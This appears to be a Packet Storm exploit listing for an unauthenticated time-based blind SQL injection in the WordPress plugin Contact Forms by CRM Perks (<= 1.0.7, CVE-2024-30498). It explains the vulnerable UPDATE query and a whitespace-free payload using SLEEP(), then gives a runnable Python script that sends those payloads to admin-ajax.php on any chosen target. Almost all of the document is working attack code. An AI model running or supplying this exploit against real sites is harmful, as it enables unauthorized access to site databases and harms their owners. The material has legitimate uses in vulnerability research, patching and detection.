Share
## https://sploitus.com/exploit?id=PACKETSTORM:226397
#!/usr/bin/env python3
    # Exploit Title: WordPress Plugin Contact Forms by CRM Perks <= 1.0.7 - Unauthenticated Time-Based Blind SQL Injection
    # Google Dork: N/A
    # Date: 2026-07-10
    # Exploit Author: A. Ramos <aramosf@gmail.com> / @aramosf
    # Vendor Homepage: https://wordpress.org/plugins/crm-perks-forms/
    # Software Link: https://downloads.wordpress.org/plugin/crm-perks-forms.1.0.7.zip
    # Version: 1.0.7 (REQUIRED)
    # Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
    # CVE : CVE-2024-30498
    """
    Contact Forms by CRM Perks <= 1.0.7 registers the unauthenticated AJAX action post_cfx_form
    (includes/front-form.php:49 wp_ajax_nopriv_post_cfx_form -> post_form). At the end of a successful
    submission the handler runs, with $form_id taken raw from the request (includes/front-form.php:3014):
    
        $sql = "update $table_name set entries=entries+1 where id='$form_id' limit 1";
        $wpdb->query($sql);
    
    $form_id = cfx_form::post('form_id') = sanitize_text_field(wp_unslash($_REQUEST['form_id'])). The
    wp_unslash strips the WordPress magic-quotes backslash and sanitize_text_field keeps the quote, so a
    raw single quote reaches the single-quoted UPDATE -> SQL injection.
    
    Two constraints shape the payload:
      * $form_id is also used as a setcookie() NAME earlier (front-form.php:2964), which fatals on
        spaces/commas/semicolons -> the payload must be whitespace-free (use /**/ comments).
      * The UPDATE row already matches id=1, so OR short-circuits; AND forces SLEEP() to evaluate.
    Payload: 1'/**/AND/**/SLEEP(5)#
    
    Prior state: plugin active + at least one form row in wp_cfx_form_forms (id=1) with non-empty
    settings and one field so the submission reaches the sink.
    """
    import argparse, sys, time
    import requests
    requests.packages.urllib3.disable_warnings()
    
    
    def submit(base, form_id):
        d = {"action": "post_cfx_form", "vx_is_ajax": "true", "form_id": form_id, "fixed[1]": "hello"}
        t = time.time()
        requests.post(base + "/wp-admin/admin-ajax.php", data=d, verify=False, timeout=60)
        return time.time() - t
    
    
    def main():
        ap = argparse.ArgumentParser()
        ap.add_argument("--target", required=True)
        ap.add_argument("--form-id", default="1")
        ap.add_argument("--sleep", type=int, default=5)
        args = ap.parse_args()
        base = args.target.rstrip("/")
        t0 = submit(base, "%s'/**/AND/**/SLEEP(0)#" % args.form_id)
        t5 = submit(base, "%s'/**/AND/**/SLEEP(%d)#" % (args.form_id, args.sleep))
        print(f"[*] Target: {base}")
        print(f"[*] SLEEP(0): {t0:.2f}s | SLEEP({args.sleep}): {t5:.2f}s")
        if (t5 - t0) >= args.sleep - 1.5:
            print(f"\n[+] SQL INJECTION CONFIRMED โ€” unauthenticated attacker-controlled SLEEP({args.sleep}) "
                  f"delayed the response by {t5 - t0:.2f}s (form_id param, post_cfx_form).")
            return 0
        print("\n[-] not confirmed"); return 1
    
    
    if __name__ == "__main__":
        sys.exit(main())